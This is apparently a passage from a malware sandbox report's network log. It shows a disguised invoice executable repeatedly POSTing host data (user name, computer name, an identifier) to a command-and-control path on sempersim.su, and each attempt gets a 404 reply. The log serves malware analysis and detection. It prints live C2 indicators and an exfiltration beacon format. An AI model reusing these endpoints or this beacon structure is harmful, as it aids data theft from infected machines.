Nov 30, 2022 00:55:01.390775919 CET	159	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:04 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49726	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:01.673862934 CET	160	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:01.730465889 CET	161	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:03.204140902 CET	161	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:05 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49727	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:03.486766100 CET	162	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:03.552114010 CET	162	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:04.982566118 CET	162	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:07 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49728	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:05.285201073 CET	163	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:05.356775045 CET	163	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:06.759571075 CET	164	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:09 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49702	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:14.871390104 CET	125	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:14.939245939 CET	126	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:16.469088078 CET	126	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:19 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49729	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:07.068053961 CET	164	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:07.142729998 CET	165	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:08.539654016 CET	165	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:11 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49730	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:08.823724985 CET	166	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:08.887696981 CET	166	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:10.337694883 CET	166	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:13 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49731	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:10.632750988 CET	167	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:10.697035074 CET	168	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:12.166821003 CET	168	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:14 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49732	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:12.457820892 CET	169	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:12.519223928 CET	169	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:13.950021982 CET	169	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:16 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49733	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:14.244291067 CET	170	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:14.300803900 CET	170	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:15.751744032 CET	171	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49734	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:16.065951109 CET	171	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:16.123481035 CET	172	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:17.565495014 CET	172	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:20 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49735	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:17.863853931 CET	173	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:17.920523882 CET	173	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:19.347023010 CET	173	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:22 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49736	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:19.643476009 CET	174	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:19.700479031 CET	175	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:21.118366957 CET	175	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49737	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:21.614295959 CET	176	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:21.678060055 CET	176	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:23.147008896 CET	177	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:25 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49738	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:23.450512886 CET	177	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:23.507752895 CET	178	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:24.982215881 CET	178	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:27 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49703	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:16.960834026 CET	127	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:17.017842054 CET	127	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:18.541620016 CET	127	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:21 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49739	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:25.267085075 CET	179	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:25.324280977 CET	179	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:26.908255100 CET	179	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:29 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49740	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:27.193434000 CET	180	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:27.257441998 CET	180	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:28.902821064 CET	181	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:31 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49741	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:29.247108936 CET	182	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:29.312683105 CET	182	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:30.821604013 CET	182	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:33 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49742	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:31.101063967 CET	183	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:31.159028053 CET	183	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:32.668199062 CET	184	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:35 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49743	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:32.962708950 CET	184	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:33.026784897 CET	185	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:34.122250080 CET	185	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:37 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49744	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
